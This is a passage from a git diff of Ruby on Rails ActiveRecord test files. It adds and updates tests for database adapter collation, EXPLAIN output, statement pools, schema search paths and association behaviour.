+ validates_uniqueness_of :string_cs_column, :case_sensitive => false
+ validates_uniqueness_of :string_ci_column, :case_sensitive => false
+ end
+
+ def test_columns_include_collation_different_from_table
+ assert_equal 'utf8_bin', CollationTest.columns_hash['string_cs_column'].collation
+ assert_equal 'utf8_general_ci', CollationTest.columns_hash['string_ci_column'].collation
+ end
+
+ def test_case_sensitive
+ assert !CollationTest.columns_hash['string_ci_column'].case_sensitive?
+ assert CollationTest.columns_hash['string_cs_column'].case_sensitive?
+ end
+
+ def test_case_insensitive_comparison_for_ci_column
+ CollationTest.create!(:string_ci_column => 'A')
+ invalid = CollationTest.new(:string_ci_column => 'a')
+ queries = assert_sql { invalid.save }
+ ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) }
+ assert_no_match(/lower/i, ci_uniqueness_query)
+ end
+
+ def test_case_insensitive_comparison_for_cs_column
+ CollationTest.create!(:string_cs_column => 'A')
+ invalid = CollationTest.new(:string_cs_column => 'a')
+ queries = assert_sql { invalid.save }
+ cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) }
+ assert_match(/lower/i, cs_uniqueness_query)
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql/schema_test.rb b/activerecord/test/cases/adapters/mysql/schema_test.rb
index a2155d1dd1..29f885c6e7 100644
--- a/activerecord/test/cases/adapters/mysql/schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql/schema_test.rb
@@ -13,8 +13,8 @@ module ActiveRecord
table = Post.table_name
@db_name = db
- @omgpost = Class.new(Post) do
- set_table_name "#{db}.#{table}"
+ @omgpost = Class.new(ActiveRecord::Base) do
+ self.table_name = "#{db}.#{table}"
def self.name; 'Post'; end
end
end
@@ -23,6 +23,10 @@ module ActiveRecord
assert @omgpost.find(:first)
end
+ def test_primary_key
+ assert_equal 'id', @omgpost.primary_key
+ end
+
def test_table_exists?
name = @omgpost.table_name
assert @connection.table_exists?(name), "#{name} table should exist"
diff --git a/activerecord/test/cases/adapters/mysql/statement_pool_test.rb b/activerecord/test/cases/adapters/mysql/statement_pool_test.rb
new file mode 100644
index 0000000000..83de90f179
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/statement_pool_test.rb
@@ -0,0 +1,23 @@
+require 'cases/helper'
+
+module ActiveRecord::ConnectionAdapters
+ class MysqlAdapter
+ class StatementPoolTest < ActiveRecord::TestCase
+ def test_cache_is_per_pid
+ return skip('must support fork') unless Process.respond_to?(:fork)
+
+ cache = StatementPool.new nil, 10
+ cache['foo'] = 'bar'
+ assert_equal 'bar', cache['foo']
+
+ pid = fork {
+ lookup = cache['foo'];
+ exit!(!lookup)
+ }
+
+ Process.waitpid pid
+ assert $?.success?, 'process should exit successfully'
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb
new file mode 100644
index 0000000000..6bcc113482
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb
@@ -0,0 +1,35 @@
+require "cases/helper"
+require 'models/person'
+
+class Mysql2CaseSensitivityTest < ActiveRecord::TestCase
+ class CollationTest < ActiveRecord::Base
+ validates_uniqueness_of :string_cs_column, :case_sensitive => false
+ validates_uniqueness_of :string_ci_column, :case_sensitive => false
+ end
+
+ def test_columns_include_collation_different_from_table
+ assert_equal 'utf8_bin', CollationTest.columns_hash['string_cs_column'].collation
+ assert_equal 'utf8_general_ci', CollationTest.columns_hash['string_ci_column'].collation
+ end
+
+ def test_case_sensitive
+ assert !CollationTest.columns_hash['string_ci_column'].case_sensitive?
+ assert CollationTest.columns_hash['string_cs_column'].case_sensitive?
+ end
+
+ def test_case_insensitive_comparison_for_ci_column
+ CollationTest.create!(:string_ci_column => 'A')
+ invalid = CollationTest.new(:string_ci_column => 'a')
+ queries = assert_sql { invalid.save }
+ ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) }
+ assert_no_match(/lower/i, ci_uniqueness_query)
+ end
+
+ def test_case_insensitive_comparison_for_cs_column
+ CollationTest.create!(:string_cs_column => 'A')
+ invalid = CollationTest.new(:string_cs_column => 'a')
+ queries = assert_sql { invalid.save }
+ cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/)}
+ assert_match(/lower/i, cs_uniqueness_query)
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/explain_test.rb b/activerecord/test/cases/adapters/mysql2/explain_test.rb
new file mode 100644
index 0000000000..68ed361aeb
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/explain_test.rb
@@ -0,0 +1,26 @@
+require "cases/helper"
+require 'models/developer'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class Mysql2Adapter
+ class ExplainTest < ActiveRecord::TestCase
+ fixtures :developers
+
+ def test_explain_for_one_query
+ explain = Developer.where(:id => 1).explain
+ assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
+ assert_match %(developers | const), explain
+ end
+
+ def test_explain_with_eager_loading
+ explain = Developer.where(:id => 1).includes(:audit_logs).explain
+ assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
+ assert_match %(developers | const), explain
+ assert_match %(EXPLAIN for: SELECT `audit_logs`.* FROM `audit_logs` WHERE `audit_logs`.`developer_id` IN (1)), explain
+ assert_match %(audit_logs | ALL), explain
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/schema_test.rb b/activerecord/test/cases/adapters/mysql2/schema_test.rb
index 858d1da2dd..d5676bc522 100644
--- a/activerecord/test/cases/adapters/mysql2/schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/schema_test.rb
@@ -13,8 +13,8 @@ module ActiveRecord
table = Post.table_name
@db_name = db
- @omgpost = Class.new(Post) do
- set_table_name "#{db}.#{table}"
+ @omgpost = Class.new(ActiveRecord::Base) do
+ self.table_name = "#{db}.#{table}"
def self.name; 'Post'; end
end
end
@@ -23,6 +23,10 @@ module ActiveRecord
assert @omgpost.find(:first)
end
+ def test_primary_key
+ assert_equal 'id', @omgpost.primary_key
+ end
+
def test_table_exists?
name = @omgpost.table_name
assert @connection.table_exists?(name), "#{name} table should exist"
diff --git a/activerecord/test/cases/adapters/postgresql/explain_test.rb b/activerecord/test/cases/adapters/postgresql/explain_test.rb
new file mode 100644
index 0000000000..0b61f61572
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/explain_test.rb
@@ -0,0 +1,28 @@
+require "cases/helper"
+require 'models/developer'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLAdapter
+ class ExplainTest < ActiveRecord::TestCase
+ fixtures :developers
+
+ def test_explain_for_one_query
+ explain = Developer.where(:id => 1).explain
+ assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = 1), explain
+ assert_match %(QUERY PLAN), explain
+ assert_match %(Index Scan using developers_pkey on developers), explain
+ end
+
+ def test_explain_with_eager_loading
+ explain = Developer.where(:id => 1).includes(:audit_logs).explain
+ assert_match %(QUERY PLAN), explain
+ assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = 1), explain
+ assert_match %(Index Scan using developers_pkey on developers), explain
+ assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" IN (1)), explain
+ assert_match %(Seq Scan on audit_logs), explain
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/schema_test.rb b/activerecord/test/cases/adapters/postgresql/schema_test.rb
index 3a7f1badf0..d08f0b324d 100644
--- a/activerecord/test/cases/adapters/postgresql/schema_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/schema_test.rb
@@ -10,32 +10,39 @@ class SchemaTest < ActiveRecord::TestCase
INDEX_A_NAME = 'a_index_things_on_name'
INDEX_B_NAME = 'b_index_things_on_different_columns_in_each_schema'
INDEX_C_NAME = 'c_index_full_text_search'
+ INDEX_D_NAME = 'd_index_things_on_description_desc'
INDEX_A_COLUMN = 'name'
INDEX_B_COLUMN_S1 = 'email'
INDEX_B_COLUMN_S2 = 'moment'
INDEX_C_COLUMN = %q{(to_tsvector('english', coalesce(things.name, '')))}
+ INDEX_D_COLUMN = 'description'
COLUMNS = [
'id integer',
'name character varying(50)',
'email character varying(50)',
+ 'description character varying(100)',
'moment timestamp without time zone default now()'
]
PK_TABLE_NAME = 'table_with_pk'
class Thing1 < ActiveRecord::Base
- set_table_name "test_schema.things"
+ self.table_name = "test_schema.things"
end
class Thing2 < ActiveRecord::Base
- set_table_name "test_schema2.things"
+ self.table_name = "test_schema2.things"
end
class Thing3 < ActiveRecord::Base
- set_table_name 'test_schema."things.table"'
+ self.table_name = 'test_schema."things.table"'
end
class Thing4 < ActiveRecord::Base
- set_table_name 'test_schema."Things"'
+ self.table_name = 'test_schema."Things"'
+ end
+
+ class Thing5 < ActiveRecord::Base
+ self.table_name = 'things'
end
def setup
@@ -50,6 +57,8 @@ class SchemaTest < ActiveRecord::TestCase
@connection.execute "CREATE INDEX #{INDEX_B_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME} USING btree (#{INDEX_B_COLUMN_S2});"
@connection.execute "CREATE INDEX #{INDEX_C_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME} USING gin (#{INDEX_C_COLUMN});"
@connection.execute "CREATE INDEX #{INDEX_C_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME} USING gin (#{INDEX_C_COLUMN});"
+ @connection.execute "CREATE INDEX #{INDEX_D_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME} USING btree (#{INDEX_D_COLUMN} DESC);"
+ @connection.execute "CREATE INDEX #{INDEX_D_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME} USING btree (#{INDEX_D_COLUMN} DESC);"
@connection.execute "CREATE TABLE #{SCHEMA_NAME}.#{PK_TABLE_NAME} (id serial primary key)"
end
@@ -58,6 +67,14 @@ class SchemaTest < ActiveRecord::TestCase
@connection.execute "DROP SCHEMA #{SCHEMA_NAME} CASCADE"
end
+ def test_schema_change_with_prepared_stmt
+ @connection.exec_query "select * from developers where id = $1", 'sql', [[nil, 1]]
+ @connection.exec_query "alter table developers add column zomg int", 'sql', []
+ @connection.exec_query "select * from developers where id = $1", 'sql', [[nil, 1]]
+ ensure
+ @connection.exec_query "alter table developers drop column if exists zomg", 'sql', []
+ end
+
def test_table_exists?
[Thing1, Thing2, Thing3, Thing4].each do |klass|
name = klass.table_name
@@ -91,6 +108,12 @@ class SchemaTest < ActiveRecord::TestCase
end
end
+ def test_table_exists_quoted_table
+ with_schema_search_path(SCHEMA_NAME) do
+ assert(@connection.table_exists?('"things.table"'), "table should exist")
+ end
+ end
+
def test_with_schema_prefixed_table_name
assert_nothing_raised do
assert_equal COLUMNS, columns("#{SCHEMA_NAME}.#{TABLE_NAME}")
@@ -166,11 +189,15 @@ class SchemaTest < ActiveRecord::TestCase
end
def test_dump_indexes_for_schema_one
- do_dump_index_tests_for_schema(SCHEMA_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S1)
+ do_dump_index_tests_for_schema(SCHEMA_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S1, INDEX_D_COLUMN)
end
def test_dump_indexes_for_schema_two
- do_dump_index_tests_for_schema(SCHEMA2_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S2)
+ do_dump_index_tests_for_schema(SCHEMA2_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S2, INDEX_D_COLUMN)
+ end
+
+ def test_dump_indexes_for_schema_multiple_schemas_in_search_path
+ do_dump_index_tests_for_schema("public, #{SCHEMA_NAME}", INDEX_A_COLUMN, INDEX_B_COLUMN_S1, INDEX_D_COLUMN)
end
def test_with_uppercase_index_name
@@ -219,21 +246,6 @@ class SchemaTest < ActiveRecord::TestCase
end
end
- def test_extract_schema_and_table
- {
- %(table_name) => [nil,'table_name'],
- %("table.name") => [nil,'table.name'],
- %(schema.table_name) => %w{schema table_name},
- %("schema".table_name) => %w{schema table_name},
- %(schema."table_name") => %w{schema table_name},
- %("schema"."table_name") => %w{schema table_name},
- %("even spaces".table) => ['even spaces','table'],
- %(schema."table.name") => ['schema', 'table.name']
- }.each do |given, expect|
- assert_equal expect, ActiveRecord::ConnectionAdapters::PostgreSQLAdapter::Utils.extract_schema_and_table(given)
- end
- end
-
def test_current_schema
{
%('$user',public) => 'public',
@@ -245,6 +257,21 @@ class SchemaTest < ActiveRecord::TestCase
end
end
+ def test_prepared_statements_with_multiple_schemas
+
+ @connection.schema_search_path = SCHEMA_NAME
+ Thing5.create(:id => 1, :name => "thing inside #{SCHEMA_NAME}", :email => "thing1@localhost", :moment => Time.now)
+
+ @connection.schema_search_path = SCHEMA2_NAME
+ Thing5.create(:id => 1, :name => "thing inside #{SCHEMA2_NAME}", :email => "thing1@localhost", :moment => Time.now)
+
+ @connection.schema_search_path = SCHEMA_NAME
+ assert_equal 1, Thing5.count
+
+ @connection.schema_search_path = SCHEMA2_NAME
+ assert_equal 1, Thing5.count
+ end
+
def test_schema_exists?
{
'public' => true,
@@ -270,13 +297,16 @@ class SchemaTest < ActiveRecord::TestCase
@connection.schema_search_path = "'$user', public"
end
- def do_dump_index_tests_for_schema(this_schema_name, first_index_column_name, second_index_column_name)
+ def do_dump_index_tests_for_schema(this_schema_name, first_index_column_name, second_index_column_name, third_index_column_name)
with_schema_search_path(this_schema_name) do
indexes = @connection.indexes(TABLE_NAME).sort_by {|i| i.name}
- assert_equal 2,indexes.size
+ assert_equal 3,indexes.size
do_dump_index_assertions_for_one_index(indexes[0], INDEX_A_NAME, first_index_column_name)
do_dump_index_assertions_for_one_index(indexes[1], INDEX_B_NAME, second_index_column_name)
+ do_dump_index_assertions_for_one_index(indexes[2], INDEX_D_NAME, third_index_column_name)
+
+ assert_equal :desc, indexes.select{|i| i.name == INDEX_D_NAME}[0].orders[INDEX_D_COLUMN]
end
end
diff --git a/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
new file mode 100644
index 0000000000..f1c4b85126
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
@@ -0,0 +1,39 @@
+require 'cases/helper'
+
+module ActiveRecord::ConnectionAdapters
+ class PostgreSQLAdapter < AbstractAdapter
+ class InactivePGconn
+ def query(*args)
+ raise PGError
+ end
+
+ def status
+ PGconn::CONNECTION_BAD
+ end
+ end
+
+ class StatementPoolTest < ActiveRecord::TestCase
+ def test_cache_is_per_pid
+ return skip('must support fork') unless Process.respond_to?(:fork)
+
+ cache = StatementPool.new nil, 10
+ cache['foo'] = 'bar'
+ assert_equal 'bar', cache['foo']
+
+ pid = fork {
+ lookup = cache['foo'];
+ exit!(!lookup)
+ }
+
+ Process.waitpid pid
+ assert $?.success?, 'process should exit successfully'
+ end
+
+ def test_dealloc_does_not_raise_on_inactive_connection
+ cache = StatementPool.new InactivePGconn.new, 10
+ cache['foo'] = 'bar'
+ assert_nothing_raised { cache.clear }
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/utils_test.rb b/activerecord/test/cases/adapters/postgresql/utils_test.rb
new file mode 100644
index 0000000000..5f08f79171
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/utils_test.rb
@@ -0,0 +1,18 @@
+class PostgreSQLUtilsTest < ActiveSupport::TestCase
+ include ActiveRecord::ConnectionAdapters::PostgreSQLAdapter::Utils
+
+ def test_extract_schema_and_table
+ {
+ %(table_name) => [nil,'table_name'],
+ %("table.name") => [nil,'table.name'],
+ %(schema.table_name) => %w{schema table_name},
+ %("schema".table_name) => %w{schema table_name},
+ %(schema."table_name") => %w{schema table_name},
+ %("schema"."table_name") => %w{schema table_name},
+ %("even spaces".table) => ['even spaces','table'],
+ %(schema."table.name") => ['schema', 'table.name']
+ }.each do |given, expect|
+ assert_equal expect, extract_schema_and_table(given)
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/view_test.rb b/activerecord/test/cases/adapters/postgresql/view_test.rb
index 303ba9245a..66e07b71a0 100644
--- a/activerecord/test/cases/adapters/postgresql/view_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/view_test.rb
@@ -14,7 +14,7 @@ class ViewTest < ActiveRecord::TestCase
]
class ThingView < ActiveRecord::Base
- set_table_name 'test_schema.view_things'
+ self.table_name = 'test_schema.view_things'
end
def setup
diff --git a/activerecord/test/cases/adapters/sqlite3/explain_test.rb b/activerecord/test/cases/adapters/sqlite3/explain_test.rb
new file mode 100644
index 0000000000..b227bce680
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/explain_test.rb
@@ -0,0 +1,26 @@
+require "cases/helper"
+require 'models/developer'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class SQLite3Adapter
+ class ExplainTest < ActiveRecord::TestCase
+ fixtures :developers
+
+ def test_explain_for_one_query
+ explain = Developer.where(:id => 1).explain
+ assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = 1), explain
+ assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain)
+ end
+
+ def test_explain_with_eager_loading
+ explain = Developer.where(:id => 1).includes(:audit_logs).explain
+ assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = 1), explain
+ assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain)
+ assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" IN (1)), explain
+ assert_match(/(SCAN )?TABLE audit_logs/, explain)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
index 6ff04e3eb3..97b56d38d7 100644
--- a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
@@ -1,9 +1,12 @@
# encoding: utf-8
require "cases/helper"
+require 'models/owner'
module ActiveRecord
module ConnectionAdapters
class SQLite3AdapterTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
class DualEncoding < ActiveRecord::Base
end
@@ -19,6 +22,21 @@ module ActiveRecord
eosql
end
+ def test_column_types
+ return skip('only test encoding on 1.9') unless "<3".encoding_aware?
+
+ owner = Owner.create!(:name => "hello".encode('ascii-8bit'))
+ owner.reload
+ select = Owner.columns.map { |c| "typeof(#{c.name})" }.join ', '
+ result = Owner.connection.exec_query <<-esql
+ SELECT #{select}
+ FROM #{Owner.table_name}
+ WHERE #{Owner.primary_key} = #{owner.id}
+ esql
+
+ assert(!result.rows.first.include?("blob"), "should not store blobs")
+ end
+
def test_exec_insert
column = @conn.columns('items').find { |col| col.name == 'number' }
vals = [[column, 10]]
@@ -139,6 +157,11 @@ module ActiveRecord
binary = DualEncoding.new :name => 'いただきます!', :data => str
binary.save!
assert_equal str, binary.data
+
+ ensure
+ if "<3".respond_to?(:encode)
+ DualEncoding.connection.drop_table('dual_encodings')
+ end
end
def test_execute
diff --git a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
new file mode 100644
index 0000000000..ae272e2c4b
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
@@ -0,0 +1,24 @@
+require 'cases/helper'
+
+module ActiveRecord::ConnectionAdapters
+ class SQLiteAdapter
+ class StatementPoolTest < ActiveRecord::TestCase
+ def test_cache_is_per_pid
+ return skip('must support fork') unless Process.respond_to?(:fork)
+
+ cache = StatementPool.new nil, 10
+ cache['foo'] = 'bar'
+ assert_equal 'bar', cache['foo']
+
+ pid = fork {
+ lookup = cache['foo'];
+ exit!(!lookup)
+ }
+
+ Process.waitpid pid
+ assert $?.success?, 'process should exit successfully'
+ end
+ end
+ end
+end
+
diff --git a/activerecord/test/cases/associations/belongs_to_associations_test.rb b/activerecord/test/cases/associations/belongs_to_associations_test.rb
index 818902beb5..1160d236c9 100644
--- a/activerecord/test/cases/associations/belongs_to_associations_test.rb
+++ b/activerecord/test/cases/associations/belongs_to_associations_test.rb
@@ -13,6 +13,7 @@ require 'models/comment'
require 'models/sponsor'
require 'models/member'
require 'models/essay'
+require 'models/toy'
class BelongsToAssociationsTest < ActiveRecord::TestCase
fixtures :accounts, :companies, :developers, :projects, :topics,
@@ -352,6 +353,12 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal members(:groucho), sponsor.sponsorable
end
+ def test_dont_find_target_when_foreign_key_is_null
+ tagging = taggings(:thinking_general)
+ queries = assert_sql { tagging.super_tag }
+ assert_equal 0, queries.length
+ end
+
def test_field_name_same_as_foreign_key
computer = Computer.find(1)
assert_not_nil computer.developer, ":foreign key == attribute didn't lock up" # '
@@ -690,4 +697,11 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal nil, comment.reload.parent
assert_equal 0, comments(:greetings).reload.children_count
end
+
+ def test_polymorphic_with_custom_primary_key
+ toy = Toy.create!
+ sponsor = Sponsor.create!(:sponsorable => toy)
+
+ assert_equal toy, sponsor.reload.sponsorable
+ end
end
diff --git a/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb b/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb
index d75791cab9..7965bb404c 100644
--- a/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb
+++ b/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb
@@ -4,7 +4,7 @@ require 'models/tagging'
module Namespaced
class Post < ActiveRecord::Base
- set_table_name 'posts'
+ self.table_name = 'posts'
has_one :tagging, :as => :taggable, :class_name => 'Tagging'
end
end
diff --git a/activerecord/test/cases/associations/extension_test.rb b/activerecord/test/cases/associations/extension_test.rb
index 24830a661a..8dc1423375 100644
--- a/activerecord/test/cases/associations/extension_test.rb
+++ b/activerecord/test/cases/associations/extension_test.rb
@@ -36,18 +36,32 @@ class AssociationsExtensionsTest < ActiveRecord::TestCase
end
def test_marshalling_extensions
+ if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7"
+ return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \
+ "to be a Ruby bug.")
+ end
+
david = developers(:david)
assert_equal projects(:action_controller), david.projects.find_most_recent
- david = Marshal.load(Marshal.dump(david))
+ marshalled = Marshal.dump(david)
+ david = Marshal.load(marshalled)
+
assert_equal projects(:action_controller), david.projects.find_most_recent
end
def test_marshalling_named_extensions
+ if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7"
+ return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \
+ "to be a Ruby bug.")
+ end
+
david = developers(:david)
assert_equal projects(:action_controller), david.projects_extended_by_name.find_most_recent
- david = Marshal.load(Marshal.dump(david))
+ marshalled = Marshal.dump(david)
+ david = Marshal.load(marshalled)
+
assert_equal projects(:action_controller), david.projects_extended_by_name.find_most_recent
end
diff --git a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
index d8d2a113ff..b49510b202 100644
--- a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
@@ -23,7 +23,7 @@ require 'models/treaty'
require 'active_support/core_ext/string/conversions'
class ProjectWithAfterCreateHook < ActiveRecord::Base
- set_table_name 'projects'
+ self.table_name = 'projects'
has_and_belongs_to_many :developers,
:class_name => "DeveloperForProjectWithAfterCreateHook",
:join_table => "developers_projects",
@@ -39,7 +39,7 @@ class ProjectWithAfterCreateHook < ActiveRecord::Base
end
class DeveloperForProjectWithAfterCreateHook < ActiveRecord::Base
- set_table_name 'developers'
+ self.table_name = 'developers'
has_and_belongs_to_many :projects,
:class_name => "ProjectWithAfterCreateHook",
:join_table => "developers_projects",
@@ -48,7 +48,7 @@ class DeveloperForProjectWithAfterCreateHook < ActiveRecord::Base
end
class ProjectWithSymbolsForKeys < ActiveRecord::Base
- set_table_name 'projects'
+ self.table_name = 'projects'
has_and_belongs_to_many :developers,
:class_name => "DeveloperWithSymbolsForKeys",
:join_table => :developers_projects,
@@ -57,7 +57,7 @@ class ProjectWithSymbolsForKeys < ActiveRecord::Base
end
class DeveloperWithSymbolsForKeys < ActiveRecord::Base
- set_table_name 'developers'
+ self.table_name = 'developers'
has_and_belongs_to_many :projects,
:class_name => "ProjectWithSymbolsForKeys",
:join_table => :developers_projects,
@@ -66,7 +66,7 @@ class DeveloperWithSymbolsForKeys < ActiveRecord::Base
end
class DeveloperWithCounterSQL < ActiveRecord::Base
- set_table_name 'developers'
+ self.table_name = 'developers'
has_and_belongs_to_many :projects,
:class_name => "DeveloperWithCounterSQL",
:join_table => "developers_projects",
@@ -77,7 +77,7 @@ end
class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
fixtures :accounts, :companies, :categories, :posts, :categories_posts, :developers, :projects, :developers_projects,
- :parrots, :pirates, :treasures, :price_estimates, :tags, :taggings
+ :parrots, :pirates, :parrots_pirates, :treasures, :price_estimates, :tags, :taggings
def setup_data_for_habtm_case
ActiveRecord::Base.connection.execute('delete from countries_treaties')
@@ -445,6 +445,26 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert david.projects(true).empty?
end
+ def test_destroy_associations_destroys_multiple_associations
+ george = parrots(:george)
+ assert !george.pirates.empty?
+ assert !george.treasures.empty?
+
+ assert_no_difference "Pirate.count" do
+ assert_no_difference "Treasure.count" do
+ george.destroy_associations
+ end
+ end
+
+ join_records = Parrot.connection.select_all("SELECT * FROM parrots_pirates WHERE parrot_id = #{george.id}")
+ assert join_records.empty?
+ assert george.pirates(true).empty?
+
+ join_records = Parrot.connection.select_all("SELECT * FROM parrots_treasures WHERE parrot_id = #{george.id}")
+ assert join_records.empty?
+ assert george.treasures(true).empty?
+ end
+
def test_deprecated_push_with_attributes_was_removed
jamis = developers(:jamis)
assert_raise(NoMethodError) do
@@ -650,6 +670,14 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert_respond_to categories(:technology).select_testing_posts.find(:first), :correctness_marker
end
+ def test_habtm_selects_all_columns_by_default
+ assert_equal Project.column_names.sort, developers(:david).projects.first.attributes.keys.sort
+ end
+
+ def test_habtm_respects_select_query_method
+ assert_equal ['id'], developers(:david).projects.select(:id).first.attributes.keys
+ end
+
def test_join_table_alias
assert_equal 3, Developer.find(:all, :include => {:projects => :developers}, :conditions => 'developers_projects_join.joined_on IS NOT NULL').size
end
diff --git a/activerecord/test/cases/associations/has_many_associations_test.rb b/activerecord/test/cases/associations/has_many_associations_test.rb
index a2764f3e3b..88d7d47aea 100644
--- a/activerecord/test/cases/associations/has_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_associations_test.rb
@@ -8,6 +8,7 @@ require 'models/reply'
require 'models/category'
require 'models/post'
require 'models/author'
+require 'models/essay'
require 'models/comment'
require 'models/person'
require 'models/reader'
@@ -17,6 +18,7 @@ require 'models/invoice'
require 'models/line_item'
require 'models/car'
require 'models/bulb'
+require 'models/engine'
class HasManyAssociationsTestForCountWithFinderSql < ActiveRecord::TestCase
class Invoice < ActiveRecord::Base
@@ -40,12 +42,27 @@ class HasManyAssociationsTestForCountWithCountSql < ActiveRecord::TestCase
end
end
+class HasManyAssociationsTestForCountDistinctWithFinderSql < ActiveRecord::TestCase
+ class Invoice < ActiveRecord::Base
+ has_many :custom_line_items, :class_name => 'LineItem', :finder_sql => "SELECT DISTINCT line_items.amount from line_items"
+ end
+
+ def test_should_count_distinct_results
+ invoice = Invoice.new
+ invoice.custom_line_items << LineItem.new(:amount => 0)
+ invoice.custom_line_items << LineItem.new(:amount => 0)
+ invoice.save!
+
+ assert_equal 1, invoice.custom_line_items.count
+ end
+end
+
class HasManyAssociationsTest < ActiveRecord::TestCase
fixtures :accounts, :categories, :companies, :developers, :projects,
:developers_projects, :topics, :authors, :comments,
- :people, :posts, :readers, :taggings, :cars
+ :people, :posts, :readers, :taggings, :cars, :essays
def setup
Client.destroyed_client_ids.clear
@@ -484,6 +501,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal 0, authors(:mary).popular_grouped_posts.length
end
+ def test_default_select
+ assert_equal Comment.column_names.sort, posts(:welcome).comments.first.attributes.keys.sort
+ end
+
+ def test_select_query_method
+ assert_equal ['id'], posts(:welcome).comments.select(:id).first.attributes.keys
+ end
+
def test_adding
force_signal37_to_load_all_clients_of_firm
natural = Client.new("name" => "Natural Company")
@@ -850,6 +875,15 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
end
+ def test_clearing_updates_counter_cache_when_inverse_counter_cache_is_a_symbol_with_dependent_destroy
+ car = Car.first
+ car.engines.create!
+
+ assert_difference 'car.reload.engines_count', -1 do
+ car.engines.clear
+ end
+ end
+
def test_clearing_a_dependent_association_collection
firm = companies(:first_firm)
client_id = firm.dependent_clients_of_firm.first.id
@@ -1357,6 +1391,32 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
firm.clients.last
end
end
+
+ def test_custom_primary_key_on_new_record_should_fetch_with_query
+ author = Author.new(:name => "David")
+ assert !author.essays.loaded?
+
+ assert_queries 1 do
+ assert_equal 1, author.essays.size
+ end
+
+ assert_equal author.essays, Essay.find_all_by_writer_id("David")
+
+ end
+
+ def test_has_many_custom_primary_key
+ david = authors(:david)
